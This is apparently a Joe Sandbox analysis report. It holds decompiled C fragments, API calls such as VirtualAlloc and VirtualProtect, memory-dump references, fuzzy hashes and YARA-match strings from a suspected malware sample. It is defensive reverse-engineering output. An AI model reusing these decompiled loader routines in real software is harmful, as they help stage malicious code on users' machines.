                                                                                                                • VirtualProtect.KERNELBASE(7069505C,00000004,00000040,7069504C), ref: 70692A9D
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1543867973.0000000070691000.00000020.00000001.01000000.00000005.sdmp, Offset: 70690000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1543809377.0000000070690000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1543924520.0000000070694000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1543961857.0000000070696000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_70690000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: ProtectVirtual
                                                                                                                • String ID:
                                                                                                                • API String ID: 544645111-0
                                                                                                                • Opcode ID: 18497356b4ae5f36dcb7d65e00efce409aa1a9c9d5024fb74e7113159f380f5f
                                                                                                                • Instruction ID: 8cd91c2d24b4a04841e95edecadfe98da354bb92dee9307b56b7a77b15cb84bc
                                                                                                                • Opcode Fuzzy Hash: 18497356b4ae5f36dcb7d65e00efce409aa1a9c9d5024fb74e7113159f380f5f
                                                                                                                • Instruction Fuzzy Hash: 11F0A5B2535380DEC350CF2B8C69B093FE0B719304B25462FE188E6AA8E3744445DB95
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 100%
                                                                                                                			E004023F4(short __ebx) {
                                                                                                                				short _t7;
                                                                                                                				WCHAR* _t8;
                                                                                                                				WCHAR* _t17;
                                                                                                                				void* _t21;
                                                                                                                				void* _t24;
                                                                                                                
                                                                                                                				_t7 =  *0x40a010; // 0xa
                                                                                                                				 *(_t21 + 8) = _t7;
                                                                                                                				_t8 = E00402DA6(1);
                                                                                                                				 *(_t21 - 0x10) = E00402DA6(0x12);
                                                                                                                				GetPrivateProfileStringW(_t8,  *(_t21 - 0x10), _t21 + 8, _t17, 0x3ff, E00402DA6(0xffffffdd)); // executed
                                                                                                                				_t24 =  *_t17 - 0xa;
                                                                                                                				if(_t24 == 0) {
                                                                                                                					 *((intOrPtr*)(_t21 - 4)) = 1;
                                                                                                                					 *_t17 = __ebx;
                                                                                                                				}
                                                                                                                				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t21 - 4));
                                                                                                                				return 0;
                                                                                                                			}








                                                                                                                0x004023f4
                                                                                                                0x004023fb
                                                                                                                0x004023fe
                                                                                                                0x0040240e
                                                                                                                0x00402425
                                                                                                                0x0040242b
                                                                                                                0x00401751
                                                                                                                0x004028fc
                                                                                                                0x00402903
                                                                                                                0x00402903
                                                                                                                0x00402c2d
                                                                                                                0x00402c39

                                                                                                                APIs
                                                                                                                • GetPrivateProfileStringW.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 00402425
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: PrivateProfileString
                                                                                                                • String ID:
                                                                                                                • API String ID: 1096422788-0
                                                                                                                • Opcode ID: 7d71ac8ddd31db18f378b319f763d6172168bca54096192b0f97eaa7b6b6bd09
                                                                                                                • Instruction ID: 209997e2e20356d43fdb77e3237b303e11e03b8f2c16ee2f2baf27e4b220ec87
                                                                                                                • Opcode Fuzzy Hash: 7d71ac8ddd31db18f378b319f763d6172168bca54096192b0f97eaa7b6b6bd09
                                                                                                                • Instruction Fuzzy Hash: 05E01A30C00229FADB10AFA0CD09EAD3668BF41340F14052AF510AA0D1E7F889409789
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 100%
                                                                                                                			E004063AA(void* __eflags, intOrPtr _a4, short* _a8, int _a12, void** _a16) {
                                                                                                                				void* _t7;
                                                                                                                				long _t8;
                                                                                                                				void* _t9;
                                                                                                                
                                                                                                                				_t7 = E00406329(_a4,  &_a12);
                                                                                                                				if(_t7 != 0) {
                                                                                                                					_t8 = RegOpenKeyExW(_t7, _a8, 0, _a12, _a16); // executed
                                                                                                                					return _t8;
                                                                                                                				}
                                                                                                                				_t9 = 6;
                                                                                                                				return _t9;
                                                                                                                			}






                                                                                                                0x004063b4
                                                                                                                0x004063bb
                                                                                                                0x004063ce
                                                                                                                0x00000000
                                                                                                                0x004063ce
                                                                                                                0x004063bf
                                                                                                                0x00000000

                                                                                                                APIs
                                                                                                                • RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,0042C248,?,?,00406438,0042C248,00000000,?,?,Call,?), ref: 004063CE
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: Open
                                                                                                                • String ID:
                                                                                                                • API String ID: 71445658-0
                                                                                                                • Opcode ID: 759d75b29ffd137612e455953a298f0698f5beae901813cd77d6ec234b014f3e
                                                                                                                • Instruction ID: 4361357c0318622cec318f667d88df30c4c29b75262f7bca7234b06b46464da2
                                                                                                                • Opcode Fuzzy Hash: 759d75b29ffd137612e455953a298f0698f5beae901813cd77d6ec234b014f3e
                                                                                                                • Instruction Fuzzy Hash: 83D0123210020EBBDF115F91AD01FAB3B5DAB08310F014426FE06E40A1D775D530A764
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 100%
                                                                                                                			E004015A3() {
                                                                                                                				int _t5;
                                                                                                                				void* _t11;
                                                                                                                				int _t14;
                                                                                                                
                                                                                                                				_t5 = SetFileAttributesW(E00402DA6(0xfffffff0),  *(_t11 - 0x2c)); // executed
                                                                                                                				_t14 = _t5;
                                                                                                                				if(_t14 == 0) {
                                                                                                                					 *((intOrPtr*)(_t11 - 4)) = 1;
                                                                                                                				}
                                                                                                                				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t11 - 4));
                                                                                                                				return 0;
                                                                                                                			}






                                                                                                                0x004015ae
                                                                                                                0x004015b4
                                                                                                                0x004015b6
                                                                                                                0x0040292e
                                                                                                                0x0040292e
                                                                                                                0x00402c2d
                                                                                                                0x00402c39

                                                                                                                APIs
                                                                                                                • SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015AE
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: AttributesFile
                                                                                                                • String ID:
                                                                                                                • API String ID: 3188754299-0
                                                                                                                • Opcode ID: 3288b403754f478d4ec32decf8ea8c3944e9457a42e513b6bae41fa1852cf4f5
                                                                                                                • Instruction ID: 33d43a8ddb5fee1851102b8e64c9f064c627007e01bf6cdc746e786b0f5045d9
                                                                                                                • Opcode Fuzzy Hash: 3288b403754f478d4ec32decf8ea8c3944e9457a42e513b6bae41fa1852cf4f5
                                                                                                                • Instruction Fuzzy Hash: 30D01772B08110DBDB11DBA8AA48B9D72A4AB50368B208537D111F61D0E6B8C945AA19
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 100%
                                                                                                                			E004044CE(int _a4) {
                                                                                                                				long _t2;
                                                                                                                
                                                                                                                				_t2 = SendMessageW( *0x434f08, 0x28, _a4, 1); // executed
                                                                                                                				return _t2;
                                                                                                                			}




                                                                                                                0x004044dc
                                                                                                                0x004044e2

                                                                                                                APIs
                                                                                                                • SendMessageW.USER32(00000028,?,00000001,004042F9), ref: 004044DC
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: MessageSend
                                                                                                                • String ID:
                                                                                                                • API String ID: 3850602802-0
                                                                                                                • Opcode ID: ea04ea026f55595d688d74c1d87789f1c1942be7a89ca5b988cfd0b6025de892
                                                                                                                • Instruction ID: f9270ce27bc2d5d500308faa7c43699bdd9cec228278350af1c7ef3a72e6c056
                                                                                                                • Opcode Fuzzy Hash: ea04ea026f55595d688d74c1d87789f1c1942be7a89ca5b988cfd0b6025de892
                                                                                                                • Instruction Fuzzy Hash: 4FB01235181A00FBDE514B00DE09F857E62F7E4701F058038F341240F0CBB200A4DB08
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 100%
                                                                                                                			E004034E5(long _a4) {
                                                                                                                				long _t2;
                                                                                                                
                                                                                                                				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
                                                                                                                				return _t2;
                                                                                                                			}




                                                                                                                0x004034f3
                                                                                                                0x004034f9

                                                                                                                APIs
                                                                                                                • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403242,?,?,?,?,?,?,0040387D,?), ref: 004034F3
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: FilePointer
                                                                                                                • String ID:
                                                                                                                • API String ID: 973152223-0
                                                                                                                • Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
                                                                                                                • Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
                                                                                                                • Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
                                                                                                                • Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 32%
                                                                                                                			E70692B98(void* __ecx, intOrPtr _a4) {
                                                                                                                				signed int _v8;
                                                                                                                				void* _t28;
                                                                                                                				void* _t29;
                                                                                                                				void* _t33;
                                                                                                                				void* _t37;
                                                                                                                				void* _t40;
                                                                                                                				void* _t45;
                                                                                                                				void* _t49;
                                                                                                                				signed int _t56;
                                                                                                                				void* _t61;
                                                                                                                				void* _t70;
                                                                                                                				intOrPtr _t72;
                                                                                                                				signed int _t77;
                                                                                                                				intOrPtr _t79;
                                                                                                                				intOrPtr _t80;
                                                                                                                				void* _t81;
                                                                                                                				void* _t87;
                                                                                                                				void* _t88;
                                                                                                                				void* _t89;
                                                                                                                				void* _t90;
                                                                                                                				intOrPtr _t93;
                                                                                                                				intOrPtr _t94;
                                                                                                                
                                                                                                                				if( *0x70695050 != 0 && E70692ADB(_a4) == 0) {
                                                                                                                					 *0x70695054 = _t93;
                                                                                                                					if( *0x7069504c != 0) {
                                                                                                                						_t93 =  *0x7069504c;
                                                                                                                					} else {
                                                                                                                						E706930C0(E70692AD5(), __ecx);
                                                                                                                						 *0x7069504c = _t93;
                                                                                                                					}
                                                                                                                				}
                                                                                                                				_t28 = E70692B09(_a4);
                                                                                                                				_t94 = _t93 + 4;
                                                                                                                				if(_t28 <= 0) {
                                                                                                                					L9:
                                                                                                                					_t29 = E70692AFD();
                                                                                                                					_t72 = _a4;
                                                                                                                					_t79 =  *0x70695058;
                                                                                                                					 *((intOrPtr*)(_t29 + _t72)) = _t79;
                                                                                                                					 *0x70695058 = _t72;
                                                                                                                					E70692AF7();
                                                                                                                					_t33 = VirtualAlloc(??, ??, ??, ??); // executed
                                                                                                                					 *0x70695034 = _t33;
                                                                                                                					 *0x70695038 = _t79;
                                                                                                                					if( *0x70695050 != 0 && E70692ADB( *0x70695058) == 0) {
                                                                                                                						 *0x7069504c = _t94;
                                                                                                                						_t94 =  *0x70695054;
                                                                                                                					}
                                                                                                                					_t80 =  *0x70695058;
                                                                                                                					_a4 = _t80;
                                                                                                                					 *0x70695058 =  *((intOrPtr*)(E70692AFD() + _t80));
                                                                                                                					_t37 = E70692AE9(_t80);
                                                                                                                					_pop(_t81);
                                                                                                                					if(_t37 != 0) {
                                                                                                                						_t40 = E70692B09(_t81);
                                                                                                                						if(_t40 > 0) {
                                                                                                                							_push(_t40);
                                                                                                                							_push(E70692B14() + _a4 + _v8);
                                                                                                                							_push(E70692B1E());
                                                                                                                							if( *0x70695050 <= 0 || E70692ADB(_a4) != 0) {
                                                                                                                								_pop(_t88);
                                                                                                                								_pop(_t45);
                                                                                                                								__eflags =  *((intOrPtr*)(_t88 + _t45)) - 2;
                                                                                                                								if(__eflags == 0) {
                                                                                                                								}
                                                                                                                								asm("loop 0xfffffff5");
                                                                                                                							} else {
                                                                                                                								_pop(_t89);
                                                                                                                								_pop(_t49);
                                                                                                                								 *0x7069504c =  *0x7069504c +  *(_t89 + _t49) * 4;
                                                                                                                								asm("loop 0xffffffeb");
                                                                                                                							}
                                                                                                                						}
                                                                                                                					}
                                                                                                                					_t107 =  *0x70695058;
                                                                                                                					if( *0x70695058 == 0) {
                                                                                                                						 *0x7069504c = 0;
                                                                                                                					}
                                                                                                                					E70692B42(_t107, _a4,  *0x70695034,  *0x70695038);
                                                                                                                					return _a4;
                                                                                                                				}
                                                                                                                				_push(E70692B14() + _a4);
                                                                                                                				_t56 = E70692B1A();
                                                                                                                				_v8 = _t56;
                                                                                                                				_t77 = _t28;
                                                                                                                				_push(_t68 + _t56 * _t77);
                                                                                                                				_t70 = E70692B26();
                                                                                                                				_t87 = E70692B22();
                                                                                                                				_t90 = E70692B1E();
                                                                                                                				_t61 = _t77;
                                                                                                                				if( *((intOrPtr*)(_t90 + _t61)) == 2) {
                                                                                                                					_push( *((intOrPtr*)(_t70 + _t61)));
                                                                                                                				}
                                                                                                                				_push( *((intOrPtr*)(_t87 + _t61)));
                                                                                                                				asm("loop 0xfffffff1");
                                                                                                                				goto L9;
                                                                                                                			}

























                                                                                                                0x70692ba8
                                                                                                                0x70692bb9
                                                                                                                0x70692bc6
                                                                                                                0x70692bda
                                                                                                                0x70692bc8
                                                                                                                0x70692bcd
                                                                                                                0x70692bd2
                                                                                                                0x70692bd2
                                                                                                                0x70692bc6
                                                                                                                0x70692be3
                                                                                                                0x70692be8
                                                                                                                0x70692bee
                                                                                                                0x70692c32
                                                                                                                0x70692c32
                                                                                                                0x70692c37
                                                                                                                0x70692c3c
                                                                                                                0x70692c42
                                                                                                                0x70692c44
                                                                                                                0x70692c4a
                                                                                                                0x70692c57
                                                                                                                0x70692c59
                                                                                                                0x70692c5e
                                                                                                                0x70692c6b
                                                                                                                0x70692c7e
                                                                                                                0x70692c84
                                                                                                                0x70692c8a
                                                                                                                0x70692c8b
                                                                                                                0x70692c91
                                                                                                                0x70692c9d
                                                                                                                0x70692ca3
                                                                                                                0x70692cab
                                                                                                                0x70692cac
                                                                                                                0x70692caf
                                                                                                                0x70692cba
                                                                                                                0x70692cbc
                                                                                                                0x70692cc8
                                                                                                                0x70692cce
                                                                                                                0x70692cd6
                                                                                                                0x70692d02
                                                                                                                0x70692d03
                                                                                                                0x70692d05
                                                                                                                0x70692d09
                                                                                                                0x70692d09
                                                                                                                0x70692d10
                                                                                                                0x70692ce6
                                                                                                                0x70692ce6
                                                                                                                0x70692ce7
                                                                                                                0x70692cf5
                                                                                                                0x70692cfe
                                                                                                                0x70692cfe
                                                                                                                0x70692cd6
                                                                                                                0x70692cba
                                                                                                                0x70692d12
                                                                                                                0x70692d19
                                                                                                                0x70692d1b
                                                                                                                0x70692d1b
                                                                                                                0x70692d34
                                                                                                                0x70692d42
                                                                                                                0x70692d42
                                                                                                                0x70692bf9
                                                                                                                0x70692bfa
                                                                                                                0x70692bff
                                                                                                                0x70692c03
                                                                                                                0x70692c08
                                                                                                                0x70692c1c
                                                                                                                0x70692c1d
                                                                                                                0x70692c1e
                                                                                                                0x70692c20
                                                                                                                0x70692c25
                                                                                                                0x70692c27
                                                                                                                0x70692c27
                                                                                                                0x70692c2a
                                                                                                                0x70692c30
                                                                                                                0x00000000

                                                                                                                APIs
                                                                                                                • VirtualAlloc.KERNELBASE(00000000), ref: 70692C57
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1543867973.0000000070691000.00000020.00000001.01000000.00000005.sdmp, Offset: 70690000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1543809377.0000000070690000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1543924520.0000000070694000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1543961857.0000000070696000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_70690000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: AllocVirtual
                                                                                                                • String ID:
                                                                                                                • API String ID: 4275171209-0
                                                                                                                • Opcode ID: d80d1fba3be14721fac98913f5426beece8e161cbe3c333aba3af8f183163495
                                                                                                                • Instruction ID: ccb302518f2be6887f9cf83ead31a82c7a682362f9e8216896305524ed3e3451
                                                                                                                • Opcode Fuzzy Hash: d80d1fba3be14721fac98913f5426beece8e161cbe3c333aba3af8f183163495
                                                                                                                • Instruction Fuzzy Hash: D241D273520206DFCB119F66DC7AB9D37B6EB04314F31842EE805D7DA8D638A8859B9C
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 100%
                                                                                                                			E706912BB() {
                                                                                                                				void* _t3;
                                                                                                                
                                                                                                                				_t3 = GlobalAlloc(0x40,  *0x7069506c +  *0x7069506c); // executed
                                                                                                                				return _t3;
                                                                                                                			}




                                                                                                                0x706912c5
                                                                                                                0x706912cb

                                                                                                                APIs
                                                                                                                • GlobalAlloc.KERNELBASE(00000040,?,706912DB,?,7069137F,00000019,706911CA,-000000A0), ref: 706912C5
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1543867973.0000000070691000.00000020.00000001.01000000.00000005.sdmp, Offset: 70690000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1543809377.0000000070690000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1543924520.0000000070694000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1543961857.0000000070696000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_70690000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: AllocGlobal
                                                                                                                • String ID:
                                                                                                                • API String ID: 3761449716-0
                                                                                                                • Opcode ID: 414aab677f46596298a0cf47ccac1284ee51f1a29fe10426bc67ea6a8eec1873
                                                                                                                • Instruction ID: 931f962e81dd240b2c40fa9630f2ecd767b5f9b3807330c15bfaf9581634b5d1
                                                                                                                • Opcode Fuzzy Hash: 414aab677f46596298a0cf47ccac1284ee51f1a29fe10426bc67ea6a8eec1873
                                                                                                                • Instruction Fuzzy Hash: A0B01272A10100DFEF008F65CC2EF343254E700301F144005F700E0594C56048008634
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: #Vg?$+g"?$2<MG$Qkn$"j#$[L#
                                                                                                                • API String ID: 0-1900541336
                                                                                                                • Opcode ID: 3460ea6618f4343822e7b6112d0b1cba0ed1a9ad3fdc9b4427bfcf72516ea902
                                                                                                                • Instruction ID: db7129c97b23618db9c6555ca77080b3e6cb9d9bb8206d771d728b05b20a9105
                                                                                                                • Opcode Fuzzy Hash: 3460ea6618f4343822e7b6112d0b1cba0ed1a9ad3fdc9b4427bfcf72516ea902
                                                                                                                • Instruction Fuzzy Hash: 7591687217CE586EF21CCF39DCCBABB238AF7965247A1815EE087C71A7F4A568434124
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: =!Zj$H$`
